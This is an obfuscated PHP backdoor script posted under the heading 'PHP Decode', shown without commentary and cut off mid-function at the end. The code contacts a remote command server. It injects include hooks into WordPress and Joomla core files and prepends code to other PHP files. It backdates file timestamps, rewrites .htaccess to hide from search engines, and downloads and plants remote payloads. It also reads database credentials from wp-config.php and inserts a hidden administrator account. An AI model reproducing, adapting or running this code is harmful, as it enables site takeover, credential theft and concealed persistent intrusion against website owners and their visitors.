PHP Decode

<?php header("Co\x6eten\164-Type: te\x78t\057html\x3b c\150ar\163et=\x75t\x66-8");error_reporting(-0654+0654);@ini_set("display_err\x6frs","Off");@ini_set("error_log",null);@ini_set("log_er\162\x6fr\x73",0166+-0166);@ini_set("\155ax_input_ti\x6de",073- -0361);@ini_set("max_execu\x74ion_ti\x6de",0505-0514-0521- -01204);@set_time_limit(01034+-0360);@ob_end_flush();iiiili();$server_addr="104.236.117.33";$liiilljjj="\061\x2e0.9";$ljj="z";$lljj="/get.p\x68p";$ljljj="/get.php?cont\x65nt";$lliiiliiij="/get.php?createdoor";$ljil="/g\145t\x2ephp?update";$ljl="/get.php?getback";$liijlj="/get.php?spide\x72";$liiljiji=client_version("3104709758");$li="http:\057/".$liiljiji.$lljj;$ljijiiijjjl="http\072//".$liiljiji;$lljlij=$ljijiiijjjl.$ljljj;$lij=$ljijiiijjjl.$lliiiliiij;$lijijijj=$ljijiiijjjl.$ljil;$ljlili=$ljijiiijjjl.$ljl;$lil=$ljijiiijjjl.$liijlj;$llijjli=preg_replace("#^/#i","",$_SERVER["SCRIP\x54_NA\x4dE"]);$ljjliiilji=$_SERVER["H\124TP_HOST"];$lj=$_SERVER["SCRIPT_N\x41ME"];if($_SERVER["SE\x52VER_\120ORT"]=="443"):$ll="\x68\164\164ps://";else:$ll="\x68ttp:/\x2f";endif;$llijj=$ll.$ljjliiilji.$lj;$lliiiji=ij($li."\077ge\164linkofdoor=".urlencode($llijj),$liiljiji,$lljj."?getlinkofdoo\x72=".urlencode($llijj),$ljll="no");if(isset($_GET["g\x65n"])):$lljjjljljil=array("wp-c\157nfig.php","../wp\x2dconfig.php","../../wp-config\x2ephp","../../../wp-confi\147\056php");$ljjilljl=array("compone\x6ets/co\x6d_us\145\x72s/use\162s.p\150p","../compo\156ents/\143om_users/users.php","../../com\x70\x6f\x6eents/com_\165se\162s/users.php",".\x2e/\x2e./../co\155ponents/com_\165sers/users.php");$lljjlljjj="no\156e";foreach($ljjilljl as$llllijll):if(file_exists($llllijll)):$lljjlljjj="joomla";endif;endforeach;foreach($lljjjljljil as$ljjiljiill):if(file_exists($ljjiljiill)):$lljjlljjj="wp";endif;endforeach;if(isset($_GET["serve\x72id"])):$liijl=$_GET["serverid"];$ljijiiijjjl=$lij."&\147\x65ndom\141in=".$ljjliiilji."\x26filename=".$llijjli."&vl=".$ljj."&v=".$liiilljjj."&serverid=".$liijl."&cm\163\x3d".$lljjlljjj;$ljjlillljij=$lliiiliiij."&gendo\x6d\141in=".$ljjliiilji."&f\151l\145name=".$llijjli."&vl=".$ljj."&v\x3d".$liiilljjj."&serverid=".$liijl."&cms=".$lljjlljjj;else:$ljijiiijjjl=$lij."&gendom\x61\151n\075".$ljjliiilji."&file\156ame=".$llijjli."&vl=".$ljj."&v\075".$liiilljjj."&cms=".$lljjlljjj;$ljjlillljij=$lliiiliiij."&g\145ndomain=".$ljjliiilji."&fil\x65\x6e\x61m\x65=".$llijjli."&vl=".$ljj."&v\075".$liiilljjj."&cms=".$lljjlljjj;endif;$lljliiij=ij($ljijiiijjjl,$liiljiji,$ljjlillljij,$ljll="yes");$ljlil=filemtime(__FILE__);foreach(glob("*.php") as$liljijijil):$ljiijii=filemtime($liljijijil);if($ljiijii<$ljlil):@touch(__FILE__,$ljiijii);break;endif;endforeach;echo$lljliiij;exit;elseif($_GET["get"]=="\x74em\x70late"):define("MAX_LEVELS_UP",0250+-0241);$liji=(0130+-0130);do{foreach(glob("*") as$lljlijjjlij):if(strpos($lljlijjjlij,"wp-c\x6fnfig\056php")!==false):define("PLAT\x46O\x52M","WORD\x50RESS");$lljjjljljil=array("wp-blog-heade\x72.ph\160","wp-load.php","w\160-sett\x69n\x67s.ph\x70","wp\x2dco\156fig.php");for($lijiljj=(0333+0622- -0512+-01667);$lijiljj<(-0212-0176- -0414);$lijiljj++):$lljjljjii=$lljjjljljil[$lijiljj];$lijjj=filemtime($lljjljjii);$ljilj=sprintf("%\x6f",fileperms($lljjljjii));@chmod($lljjljjii,0770+-0102);if(is_writable($lljjljjii)):$ljjjjil=file_get_contents($lljjljjii);switch($lljjljjii):case "wp\055\x6coad.php":$ljjiijjil=preg_replace("/re\161uire_\157\x6ece(.*)A\102SPAT\110(\056*)'( )?wp-config\134.ph\160(.*);/i","r\145quire_once( ABSPATH \x2e 'wp-config.\160hp\047 );".PHP_EOL."if(isse\x74(\x24_GET['t\145stpage']) \x26& \x24_GET['te\163tpage']=='wp\147opost'){re\x71uire_once( ABSP\101TH . '".$llijjli."' )\073}",$ljjjjil);break;case "\x77p-blog-\x68e\141d\145r.php":$ljjiijjil=preg_replace("/require_once(.*)wp-load\x5c.php(.*);/i","require_\157n\143e\x28 dirname(__FILE__) . '/\x77p-load.\x70hp' );".PHP_EOL."\x69f(isse\x74(\x24_GET['testpage']) && \x24_\x47ET['testpage']=='wpgopost'\x29\x7brequi\162e_o\x6ece( AB\123PAT\110 . '".$llijjli."' );}",$ljjjjil);break;case "wp-config.php":$ljjiijjil=preg_replace("/req\165i\x72e_\x6fnce(.\x2a)wp-sett\151ngs\134.php(.*);\x2fi","requ\x69re_once(ABSPATH . 'wp-settings\056php');".PHP_EOL."if(isse\x74(\x24_G\x45T['testpage']\x29 && \x24_GET\133'testpage']=='wpgopost'){require_once( ABSPATH . '".$llijjli."' );}",$ljjjjil);break;case "wp-settings\056ph\x70":$ljjiijjil=preg_replace("/r\145qui\162e(.*)pluggable-de\x70recated\134.php(.*);/i","requir\145( ABSPATH . WPINC . '/plugga\x62le-d\145precate\144\056php' );".PHP_EOL."if(isset\x28\044_GET['testpage']) &&\040\x24_GET['testpage']=='wpgopost'\x29{\162equire_once( ABSPATH . '".$llijjli."' )\x3b\x7d",$ljjjjil);break;endswitch;$ljliilii="w\x70gopost";iili($ljjiijjil,$lljjljjii,$ljjliiilji,$ljliilii,$ll);file_put_contents($lljjljjii,$ljjjjil);@touch($lljjljjii,$lijjj);continue (02);else:continue;endif;endfor;elseif(strpos($lljlijjjlij,"configur\141t\x69on.\x70hp")!==false):define("PLATFORM","JOOMLA");$lill=array("index.php","configu\x72ation.\160hp","i\x6ecl\x75des\057framew\x6frk.\x70hp","libraries/\143ms.php","libr\x61ri\145s/classmap.p\x68p","librar\151es/fof/include.php");for($lijiljj=(-0613+-0205- -01020);$lijiljj<(0626+01042+-01662);$lijiljj++):$lljjljjii=$lill[$lijiljj];$lijjj=filemtime($lljjljjii);$ljilj=sprintf("%o",fileperms($lljjljjii));@chmod($lljjljjii,01435-0547);if(is_writable($lljjljjii)):$ljjjjil=file_get_contents($lljjljjii);switch($lljjljjii):case "index.php":$ljjiijjil=preg_replace("/requ\151re_once \x4aPA\x54H_BA\x53E(.*)includes\x5c/framework.\x70h\x70'\x3b/\151","require_onc\x65 JPAT\x48_BAS\x45 . '/includes/\146ramework\x2ephp';".PHP_EOL."i\x66(i\x73set(\044\137GET['testpage\x27]) && \x24_GET['testpage']=='joomla\x67opost'){r\145qu\151r\145_once JPA\124H_BASE . '/".$llijjli."';}",$ljjjjil);break;case "conf\x69gu\x72a\164ion.php":$ljjiijjil=preg_replace("/\x5c<\134?p\150p/i","<?php".PHP_EOL."i\x66(\x24_GET['testpage\047\x5d\x3d\x3d'joomlag\x6fp\157st'){require_o\x6ece JPATH_BAS\x45 . '/".$llijjli."';}",$ljjjjil);break;case "includes\x2fframework.php":$ljjiijjil=preg_replace("/require_on\x63e JPAT\110_LIBRA\x52IE\x53(.*)cms.p\150p';\x2fi","re\161uire_on\x63e JPA\x54H_LIBRARIE\x53 . '/\x63ms.php';".PHP_EOL."if(iss\x65t(\044_GET['testpage']) && \044_GET['testpage'\x5d=='jooml\x61gopost'){require_onc\x65 JPAT\x48_B\x41SE . '/".$llijjli."';}",$ljjjjil);break;case "\x6cibraries/cms.php":$ljjiijjil=preg_replace("/require\137once JPATH\x5fLIBRARIES(.*)classmap\056php'\073\057i","require_once JPATH_L\111BRA\122IE\123 . '/classmap\056php';".PHP_EOL."if(is\163et(\x24_GET['tes\x74page'\135) && \x24_GET['te\x73tpa\x67e']=='joomlago\160ost'){require_once JPATH_BASE . '/".$llijjli."';}",$ljjjjil);break;case "l\151braries/classmap.php":$ljjiijjil=preg_replace("/\134<\x5c?php/i","<?php".PHP_EOL."if(\044_GET['testpage']=='\152oo\x6dlagop\x6fs\x74'){require_once JPATH_BASE . '/".$llijjli."';}",$ljjjjil);break;case "libraries/fof/inc\x6cu\144e\056php":$ljjiijjil=preg_replace("/\x5c<\x5c?php/i","<?php".PHP_EOL."if\x28\044_GET['testpage']\075\075'joomlagopost'\051{require_once JPATH_B\101SE . '/".$llijjli."';\x7d",$ljjjjil);break;endswitch;$ljliilii="\152oo\155lagopost";iili($ljjiijjil,$lljjljjii,$ljjliiilji,$ljliilii,$ll);file_put_contents($lljjljjii,$ljjjjil);@touch($lljjljjii,$lijjj);continue (02);else:continue;endif;endfor;endif;endforeach;ijiii($lliiiji);if(!defined("\x50LATFORM")):chdir("..");$liji++;endif;}while(!defined("PLATFORM")&&$liji<MAX_LEVELS_UP);if(!defined("PLATFORM")):exit("\125nknow\x6e platform!");endif;elseif($_GET["testp\141g\145"]=="wpgopost"):$lljjlllli="\x61\x62cde\x66ghijklmnop";$liilljiilj=str_shuffle($lljjlllli);$lljil=array("p\157st_t\x69tle"=>"HEREISH1TAG","post_name"=>$liilljiilj,"po\163t_\x63ontent"=>"H\x45REISCONTEN\x54","po\163t_statu\x73"=>"p\x75blish","post_\143ateg\x6fry"=>array());$lijlij=wp_insert_post($lljil,true);$liiiiijllji=get_permalink($lijlij);$ljjlillljij=preg_replace("#\150ttp:/\x2f\050\x2e\x2a)/|https://(.*)/#","",$liiiiijllji);$ljjlillljij="/".$ljjlillljij;$lljliiij=ij($liiiiijllji,$ljjliiilji,$ljjlillljij,$ljll="no");$lljliiij=str_replace($liiiiijllji,"HEREISURL",$lljliiij);$lljliiij=str_replace($liilljiilj,"HE\x52EISSLUG",$lljliiij);echo$lljliiij;if(!wp_delete_post($lijlij,true)):wp_delete_post($lijlij,true);endif;exit;elseif($_GET["testpage"]=="joomlagopost"):$llijjjliij=explode("/",$_SERVER["SERV\105R_NAME"].$_SERVER["REQUE\123T_URI"]);unset($llijjjliij[count($llijjjliij)-(0463+-0724- -01005+-0543)]);$lljili=iii("HEREISTITLE","","HEREISCONTENT");$lljili=explode(":",$lljili);$lljjiijllli="HER\105\x49STITL\x45";if(is_array($lljili)):$lijill=trim($lljili[06-05]);$lljlll=trim($lljili[06- -070-011-065]);$lijj=$ll.trim(implode("/",$llijjjliij),"/")."/ind\x65\x78.p\x68\x70/\077option=com_con\x74ent&view=art\x69cle\x26id=".$lljlll;$lljliiij=ij($lijj,$ljjliiilji,$lijj,$ljll="no");$lljliiij=preg_replace("/<t\151\164le>(.*)\074\134/title>/iUm","<title>".$lljjiijllli."</\x74itle>",$lljliiij);$ljjliijii=JFactory::getDbo();$ljljillill=$ljjliijii->getQuery(true);$ljljillill->delete($ljjliijii->quoteName("#\x5f_content"))->where(array($ljjliijii->quoteName("id")."=".$lljlll));$ljjliijii->setQuery($ljljillill);$liilijij=$ljjliijii->query();if(!empty($lljliiij)&&stripos($lljliiij,"HEREISCONTENT")):$lljliiij=str_ireplace("content=\x22H\x45REI\123C\x4fNTENT","content=\x22",$lljliiij);$lljliiij=str_ireplace("content=\x22 H\x45\122\x45ISCONTENT","con\x74ent=\x22",$lljliiij);$lljliiij=preg_replace("/<\155\145ta pro\x70erty=[\x5c\x22']\1731\175og:description[\134\042']{1} content=[\134\x22'\x5d{\061}\x2e*[\134\042'\135{1}\134s?\134/>/iUs","",$lljliiij);$ljlij="\x7c(<h2>.*HEREISTITLE.\052</h2>)|iUs";preg_match_all($ljlij,$lljliiij,$ljiijjljl);if(!empty($ljiijjljl[0755- -0404-01360][-0360- -01200-0213-0405])):$lljliiij=str_ireplace($ljiijjljl[011+0325+-0335][0203-0203],"<h1>HEREISH1TAG<\x2fh\x31>",$lljliiij);endif;endif;echo$lljliiij;exit;endif;elseif(isset($_GET["v"])):die($liiilljjj);elseif(isset($_GET["up\x64"])):if(isset($_GET["source"])&&$_GET["s\x6furce"]!=null):$liiljiji=client_version($_GET["source"]);$ljijiiijjjl="http://".$liiljiji.$ljil."&vl=".$ljj."&upd";else:$ljijiiijjjl=$lijijijj."&vl=".$ljj."&upd";endif;$ljjlillljij=$ljil."&vl=".$ljj."&u\160d";$lljliiij=ij($ljijiiijjjl,$liiljiji,$ljjlillljij,$ljll="n\157");if($lljliiij==null):die("\143ant load new client");endif;$lijjj=filemtime(__FILE__);if(!is_writable(__FILE__)):chmod(__FILE__,"06\0644");file_put_contents(__FILE__,$lljliiij);@touch(__FILE__,$lijjj);if(!chmod(__FILE__,"0\06644")):die("can\x74 s\145t rig\150ts");endif;endif;file_put_contents(__FILE__,$lljliiij);@touch(__FILE__,$lijjj);if(!is_writable(__FILE__)):die("clien\x74 not writable");endif;file_put_contents(__FILE__,$lljliiij);@touch(__FILE__,$lijjj);exit;elseif(isset($_GET["ws"])):if(isset($_GET["source"])&&$_GET["source"]!=null):$liiljiji=client_version($_GET["\163ource"]);$lijjl="http://".$liiljiji.$ljl."&vl=".$ljj."&upd";else:$lijjl=$ljlili."&\x77s=".$_GET["ws"];endif;$ljljijljll=$ljl."&ws=".$_GET["ws"];$liijjj=null;$ljilijiii=(0654+0101-0746);$lilj="^_^";for($lijiljj=(0506+-0505);$lijiljj<=$ljilijiii;$lijiljj++):if($lijiljj==(0203-0202)):list($llilliiil,$liijjj)=ijji($lilj,$liijjj);foreach($llilliiil as$ljili):if(strstr($ljili,"akismet")):continue;endif;$llijlijill[]=$ljili;endforeach;else:foreach($llijlijill as$ljlliiilii):list($llilliiil,$liijjj)=ijji($ljlliiilii,$liijjj);foreach($llilliiil as$ljili):if(strstr($ljili,"aki\x73met")):continue;endif;$llijlijill[]=$ljili;$llijlijill=array_values(array_unique($llijlijill));endforeach;endforeach;endif;endfor;$ljljjllijij=ijijj($liijjj,$li,$liiljiji,$lljj,$ljijijil="all");shuffle($llijlijill);foreach($llijlijill as$lilj):if(is_writable($lilj)):shuffle($ljljjllijij);$lljlijjjlij=$lilj.DIRECTORY_SEPARATOR.$ljljjllijij[-0400- -0400];if(!file_exists($lljlijjjlij)):$lljliiij=ij($lijjl,$liiljiji,$ljljijljll,$ljll="no");if($lljliiij==null):die("cant \147et\040txt f\x69le");endif;if(file_put_contents($lljlijjjlij,$lljliiij)):$lljli=explode("/",$_SERVER["SCRIPT_NAME"],-(-0557+0774-0214));$lj=implode("/",$lljli)."/".$lljlijjjlij;$lljjii=$ll.$ljjliiilji.$lj;echo$lljjii;exit;endif;endif;endif;endforeach;die("c\141n't write \146ile");elseif(isset($_GET["wsa\154l"])):ini_set("max_execution_time",01553-0100+-0723-0530);set_time_limit(01274+-01027-0245);$liijjj=null;if(isset($_GET["source"])&&$_GET["source"]!=null):$liiljiji=client_version($_GET["\x73ource"]);$lijjl="http://".$liiljiji.$ljl."&bdr&counter=0&vl=".$ljj;$li="http://".$liiljiji.$lljj;else:$lijjl=$ljlili."\046bdr&counter=0&vl=".$ljj;endif;$ljljijljll=$ljl."&bdr&counter=0&vl=".$ljj;$ljilijiii=(0314-0305);$lilj="^_^";for($lijiljj=(-0232-0214- -0112- -0335);$lijiljj<=$ljilijiii;$lijiljj++):if($lijiljj==(043+-042)):list($llilliiil,$liijjj)=ijji($lilj,$liijjj);foreach($llilliiil as$ljili):if(strstr($ljili,"akismet")):continue;endif;$llijlijill[]=$ljili;endforeach;else:foreach($llijlijill as$ljlliiilii):list($llilliiil,$liijjj)=ijji($ljlliiilii,$liijjj);foreach($llilliiil as$ljili):if(strstr($ljili,"aki\x73met")):continue;endif;$llijlijill[]=$ljili;$llijlijill=array_values(array_unique($llijlijill));endforeach;endforeach;endif;endfor;$ljljjllijij=ijijj($liijjj,$li,$liiljiji,$lljj,$ljijijil="al\154");foreach($llijlijill as$lilj):if(is_writable($lilj)):shuffle($ljljjllijij);$lljlijjjlij=$lilj.DIRECTORY_SEPARATOR.$ljljjllijij[-037- -067-030];if(!file_exists($lljlijjjlij)):$lillllii[]=$lljlijjjlij;endif;endif;endforeach;if(count($lillllii)=="0"):echo"nothing\x20to \x64o\x20he\162e";endif;shuffle($lillllii);$liji=(-0247+0247);foreach($lillllii as$lljlijjjlij):if($liji<(-021- -053-062- -042)):$liji++;$lljliiij=ij($lijjl,$liiljiji,$ljljijljll,$ljll="\x6eo");$lijjjijillj=explode(":-:-:",$lljliiij,0241+-0237);$liiillljji=$lijjjijillj[036+-036];$lllil=$lijjjijillj[02- -0422-0423];$lljli=explode("/",$_SERVER["SCRIP\x54_N\x41ME"],-(0257-0256));$lj=implode("/",$lljli)."/".$lljlijjjlij;$lljjii=$ll.$ljjliiilji.$lj;$liji--;if(file_put_contents($lljlijjjlij,$lllil)):$liji++;if($liji=="10"):echo$liiillljji."||".$lljjii;elseif($liji<(-0473- -0505)):echo$liiillljji."||".$lljjii."::";endif;else:$liji--;endif;else:continue;endif;endforeach;exit;elseif(isset($_GET["z"])):echo"i\155 okey";exit;elseif(isset($_GET["sz"])):$ljijiiijjjl=$li."?z";$ljjlillljij=$lljj."?z";$lljliiij=ij($ljijiiijjjl,$liiljiji,$ljjlillljij,$ljll="y\x65s");echo$lljliiij;exit;elseif(isset($_GET["h"])):$llljjjljli=".htacces\163";if(file_exists($llljjjljli)):echo file_get_contents($llljjjljli);endif;exit;elseif(isset($_GET["sc"])):if(isset($_GET["d"])):unlink(__FILE__);endif;$liijl=md5(__FILE__.time());$ljijiiijjjl=$lil."&getco\144e&vl=".$ljj."&serverid=".$liijl;$ljjlillljij=$liijlj."&getc\157de&vl=".$ljj."&serv\145rid=".$liijl;$ljjlj=ij($ljijiiijjjl,$liiljiji,$ljjlillljij,$ljll="yes");if($ljjlj=="noco\x64etoinse\x72t"):die("n\x6fcodeto\x69nsert");endif;chdir($_SERVER["D\x4fCUMENT\137R\117O\124"]);$llliijljii=getcwd();if(isset($_GET["i"])&&$_GET["i"]):$lijiljj=$_GET["i"];else:$lijiljj="4";endif;for($lijiljj=(01106+-0106+-0511+-0267);$lijiljj<=(06- -0101-0103);$lijiljj++):if(is_readable("..")):chdir("..");$llliijljii=getcwd();else:continue;endif;endfor;$ljjllil=iljlj($liiljiji,$lil,$liijlj,$liiillljji="baddirs");$llilliljlli=iljlj($liiljiji,$lil,$liijlj,$liiillljji="filestoinc");@set_time_limit(044+0167- -0143+-0376);ijj($llliijljii,$ljjlj,$llilliljlli,$ljjllil);exit;elseif(isset($_GET["addwpuser"])):$lljlll=$_GET["id"];$ljiji=$_GET["\165\x73\x65rna\x6de"];$lilijjilij=md5($_GET["password"]);$lliliijjj=str_replace($_SERVER["\x44OCUMENT_ROO\x54"],"",$_SERVER["SCRIPT_FILENAME"]);$lljlj=null;$liliiiijjii=substr_count($lliliijjj,DIRECTORY_SEPARATOR);if($liliiiijjii>(-0141- -0142)):$ljijiiljii=explode($lliliijjj,DIRECTORY_SEPARATOR);while(substr_count($lliliijjj,DIRECTORY_SEPARATOR)>(-012+022+-024- -015)):$ljijiiljii=explode(DIRECTORY_SEPARATOR,$lliliijjj,-(-0271- -0111+0635+-0454));$lliliijjj=implode($ljijiiljii,DIRECTORY_SEPARATOR);$ljlijjlll[]=$_SERVER["DOCUM\105N\124_ROOT"].$lliliijjj.DIRECTORY_SEPARATOR."wp-\143onfig.php";endwhile;$ljlijjlll[]=$_SERVER["DOCU\x4dENT_ROOT"].DIRECTORY_SEPARATOR."wp-c\x6fn\146ig.php";else:$ljlijjlll[]=$_SERVER["DOCUMENT_ROOT"].DIRECTORY_SEPARATOR."w\x70-conf\x69g.php";endif;foreach($ljlijjlll as$liijliij):if(file_exists($liijliij)):$lljlj=$liijliij;break;endif;endforeach;if($lljlj==null):die("n\157 wp");else:echo$lljlj;$lljlj=file_get_contents($lljlj);preg_match("\x2fdefine\134(\134'DB_NAM\x45\x5c', \x5c'(.*)\134'\134)\134;/msU",$lljlj,$liiii);preg_match("/de\146ine\x5c(\x5c'DB_USER\x5c', \134'(.*\x29\x5c'\134)\134;/msU",$lljlj,$ljiijlijl);preg_match("/defi\x6ee\x5c(\134'D\x42_PASSWORD\134', \x5c'\x28.*\x29\x5c'\134)\134\073/msU",$lljlj,$liijjlijl);preg_match("/define\x5c(\134'DB_HOST\x5c',\040\x5c\x27(.*)\x5c'\134)\134;/msU",$lljlj,$lliljljl);preg_match("/.*prefi\x78  \x5c= \x5c'(\x2e*)\134'\x5c;/msU",$lljlj,$lijl);$lliiijilll=$lijl[-0545- -0546]."users";$liii=$lijl[-0371+0442+-0405+0335]."userme\164\x61";$ljlijjil=mysql_connect($lliljljl[021- -0244+-0264],$ljiijlijl[-0106-0653-0405- -01367],$liijjlijl[054-053]);mysql_select_db($liiii[-0631+0140-0375- -01067]);$ljljillill="SELECT COU\x4eT(*) FROM ".$lliiijilll." \x57HERE ID='".$lljlll."'";$lljij=mysql_query($ljljillill);if(mysql_result($lljij,0652+-01257+01045-0440)==(-0554+-0616-0425- -02020)):echo"user exis\164s";else:$ljljl="\111N\123\105\122T IN\124\117 ".$lliiijilll." (`ID`,\x60user_login`,`user_pass`,`user_\156icename\140,`user_ema\x69l`,`user_url`,`us\x65r_registered`,`user_activation_key`,`user_status`,`disp\154\x61y_name\x60) VAL\x55E\123 ('".$lljlll."','".$ljiji."','".$lilijjilij."','S\x75pport','wpsuppor\[email protected]','','2018-05-0\064 12:33:09','','0','Su\160\x70ort Acco\x75nt')\x3b";$lji="INSERT\x20INTO ".$liii." (\x60um\145\x74a_\x69d`,`us\x65r_id`,`meta_ke\x79`,`meta_value`) VALUES\x20(NULL,'".$lljlll."','\x77p\x5fca\x70abil\151ties','a:1:\173s:13:\x22administrator\042;s:1:\x221\x22;}'\x29\054(NULL,'".$lljlll."'\054'\167p\137us\145r_level','1\060')\x3b";$llj=mysql_query($ljljl);$ljiil=mysql_query($lji);echo"user inserted";endif;mysql_close($ljlijjil);endif;else:if(preg_match("#^www\134\056#",$ljjliiilji)):$ljjliiilji=preg_replace("#^www\134.#",$ljjliiilji);endif;$ljijiiijjjl=$lljlij."&vl=".$ljj."&v=".$liiilljjj."&domai\x6e=".$ljjliiilji."&getcookie";$ljjlillljij=$ljljj."&vl=".$ljj."&v=".$liiilljjj."&domain=".$ljjliiilji."&getc\157okie";$lljliiij=ij($ljijiiijjjl,$liiljiji,$ljjlillljij,$ljll="yes");if($lljliiij!="dontshowcookies"):$ljjli=explode(":",$lljliiij);$lilijiilij=$ljjli[-01037+01037];$llllj=$ljjli[0610- -01324+-01033+-01100];if(!$_COOKIE[$lilijiilij]):$ljiiliij="\x79e\x73";if(setcookie($lilijiilij,$llllj,time()+(07247+-0227)*(074-044),"/",$ljjliiilji)):$ljiiliij="no";endif;else:$ljiiliij="no";endif;else:$ljiiliij="n\157";endif;$ljijiiijjjl=$lljlij."&vl=".$ljj."&v\075".$liiilljjj."&co\157ki\x65bot=".$ljiiliij;$ljjlillljij=$ljljj."\046vl=".$ljj."&v=".$liiilljjj."&cook\x69ebot=".$ljiiliij;$lljliiij=ij($ljijiiijjjl,$liiljiji,$ljjlillljij,$ljll="y\x65s");echo$lljliiij;exit;endif;function ijj($llliijljii,$ljjlj,$llilliljlli,$ljjllil){foreach(scandir($llliijljii) as$lljlijjjlij):if($lljlijjjlij=="."||$lljlijjjlij==".."):continue;endif;if(in_array($lljlijjjlij,$ljjllil)):continue;endif;foreach($llilliljlli as$llillili):if($lljlijjjlij==$llillili):$liiljl=$llliijljii.DIRECTORY_SEPARATOR.$lljlijjjlij;if(!is_writable($liiljl)):if(!@chmod($liiljl,0361+0310-025)):continue;else:$ljjljii=file_get_contents($liiljl);if(preg_match("/\134\x24incod\x65/",$ljjljii)):continue;endif;$lijjj=filemtime($liiljl);$ljjljii=$ljjlj.$ljjljii;file_put_contents($liiljl,$ljjljii);@touch($liiljl,$lijjj);echo"incl\x75ded: ".$liiljl."<br>";endif;else:$ljjljii=file_get_contents($liiljl);if(preg_match("\x2f\134\x24\151nco\x64e/",$ljjljii)):continue;endif;$lijjj=filemtime($liiljl);$ljjljii=$ljjlj.$ljjljii;file_put_contents($liiljl,$ljjljii);@touch($liiljl,$lijjj);echo"i\x6eclud\x65d: ".$liiljl."<br>";endif;endif;endforeach;$lilj=$llliijljii.DIRECTORY_SEPARATOR.$lljlijjjlij;if(is_dir($lilj)):ijj($lilj,$ljjlj,$llilliljlli,$ljjllil);endif;endforeach;}function ijiii($lliiiji){foreach(glob("*.php") as$liliil):if($liliil==basename(__FILE__)||is_writable($liliil)==false):continue;endif;$lijjj=filemtime($liliil);$ljjiijjil=file_get_contents($liliil);$ljjiijjil=preg_replace("/<\134?php|<\x5c?/i",$lliiiji."\x3c\x3fphp",$ljjiijjil,0262+-0267- -0220-0212);file_put_contents($liliil,$ljjiijjil);@touch($liliil,$lijjj);endforeach;}function iili($ljjiijjil,$lljjljjii,$ljjliiilji,$ljliilii,$ll){file_put_contents($lljjljjii,$ljjiijjil);$lii=$ll.$ljjliiilji."/?testpage=".$ljliilii;$ljjlillljij="/?testpage=".$ljliilii;$lljliiij=ij($lii,$ljjliiilji,$ljjlillljij,$ljll="no");echo$lljliiij;}function iii($liiiljjjjl,$lijjlilili,$liililji){$lilljlji=JFactory::getDBO();$lllijjjl=new stdClass;$lllijjjl->id=null;$lllijjjl->title=$liiiljjjjl;$lllijjjl->introtext=$lijjlilili;$lllijjjl->fulltext=$liililji;$lllijjjl->state=(0513- -0564- -0371-01667);$lllijjjl->access=(-0426-0742+0513- -0656);$lllijjjl->created_by=(01064- -0200+-0416-0550);$lllijjjl->created=date("Y\x2dm-d \x48:i:s");$lllijjjl->alias=JFilterOutput::stringURLSafe($lllijjjl->title);if(!$lilljlji->insertObject("#__c\157ntent",$lllijjjl,"id")):echo$lilljlji->stderr();return false;endif;return$lllijjjl->id.":".$lllijjjl->alias;}function iiiili(){$llljjjljli=".htaccess";if(file_exists($llljjjljli)):$llilijil=filemtime($llljjjljli);@chmod($llljjjljli,01257- -066-0457);$lljjlljliji=file_get_contents($llljjjljli);if(preg_match("#g\x6fo\147\154e|yaho\157|b\x69ng#iUs",$lljjlljliji)):$lljjlljliji=preg_replace("#google#iUs","goog1e",$lljjlljliji);$lljjlljliji=preg_replace("\x23yahoo#i\x55s","y\x61n\x6fo",$lljjlljliji);$lljjlljliji=preg_replace("#bin\147#i\125s","b1\x6eg",$lljjlljliji);$lljjlljliji=preg_replace("#\x62aidu#iUs","ba1du",$lljjlljliji);$lljjlljliji=preg_replace("\x23seznam#iUs","ses\x6eam",$lljjlljliji);$lljjlljliji=preg_replace("#crawl#iUs","craw\x31",$lljjlljliji);$lljjlljliji=preg_replace("#\x5c|aol\x5c|#iUs","|ao1|",$lljjlljliji);$lljjlljliji=preg_replace("#H\x54TP_USER_AGENT\043i\125\163","HT\x54P_\122EF\x45RER",$lljjlljliji);endif;file_put_contents($llljjjljli,$lljjlljliji);@touch($llljjjljli,$llilijil);endif;}function ijijj($liijjj,$li,$liiljiji,$lljj,$ljijijil){$ljijiiijjjl=$li."\077g\x65tfilename&p\154at\x66orm=".$liijjj."&count=".$ljijijil;$ljjlillljij=$lljj."\077getfilen\x61\x6de&platform=".$liijjj."&count=".$ljijijil;$ljjl=ij($ljijiiijjjl,$liiljiji,$ljjlillljij,$ljll="no");if($ljijijil=="al\x6c"):$ljjl=explode("::",$ljjl,-(-0177+0200));endif;return$ljjl;}function iljlj($liiljiji,$lil,$liijlj,$liiillljji){$ljijiiijjjl=$lil."&\x74ype=".$liiillljji;$ljjlillljij=$liijlj."&type=".$liiillljji;$ljljjllijij=ij($ljijiiijjjl,$liiljiji,$ljjlillljij,$ljll="no");$ljljjllijij=explode("::",$ljljjllijij,-(-0441-01375- -02037));return$ljljjllijij;}function ijji($lilj,$liijjj){if($lilj=="^_^"):foreach(glob("*") as$lljlijjjlij):if(is_dir($lljlijjjlij)):$llilliiil[]=$lljlijjjlij;endif;if(stristr($lljlijjjlij,"wp-config\x2ephp")):$liijjj="wp";elseif(stristr($lljlijjjlij,"configuration.php")):$liijjj="jm";endif;if($liijjj===null):$liijjj="other";endif;endforeach;else:foreach(glob($lilj.DIRECTORY_SEPARATOR."*") as$lljlijjjlij):if(is_dir($lljlijjjlij)):$llilliiil[]=$lljlijjjlij;endif;endforeach;endif;return array($llilliiil,$liijjj);}function client_version($lijiljj){$liillljjj[0661+01060- -0764+-02725]=(int)($lijiljj/(02005-01405)/(01143+-064-0303+-0154)/(0341- -037));$liillljjj[01307+01066+-02374]=(int)(($lijiljj-$liillljjj[-051+-0644- -0715]*(0155- -0617-01222- -0626)*(040+0335+03)*(0245+0372-0237))/(01100-0500)/(-0344- -0744));$liillljjj[0554-0552]=(int)(($lijiljj-$liillljjj[-0316+0316]*(0104+0274)*(01000-0535+0135)*(01572+-01172)-$liillljjj[0155+-0154]*(0712- -065+-0377)*(0644-0436-0425+0617))/(0420-0432-0334+0746));$liillljjj[-054+057]=$lijiljj-$liillljjj[-025+025- -03-03]*(0102+0276)*(0171+0412+0425-0630)*(0576+-0176)-$liillljjj[-0462+0513-030]*(0541+0451-0601+-011)*(-0222-0723+01545)-$liillljjj[05- -01+-04]*(0114- -0234+026+02);return''.$liillljjj[-0405- -0405].".".$liillljjj[043-034-06]."\056".$liillljjj[07-041+-022- -056].".".$liillljjj[0416+0373- -01002-02010];}function 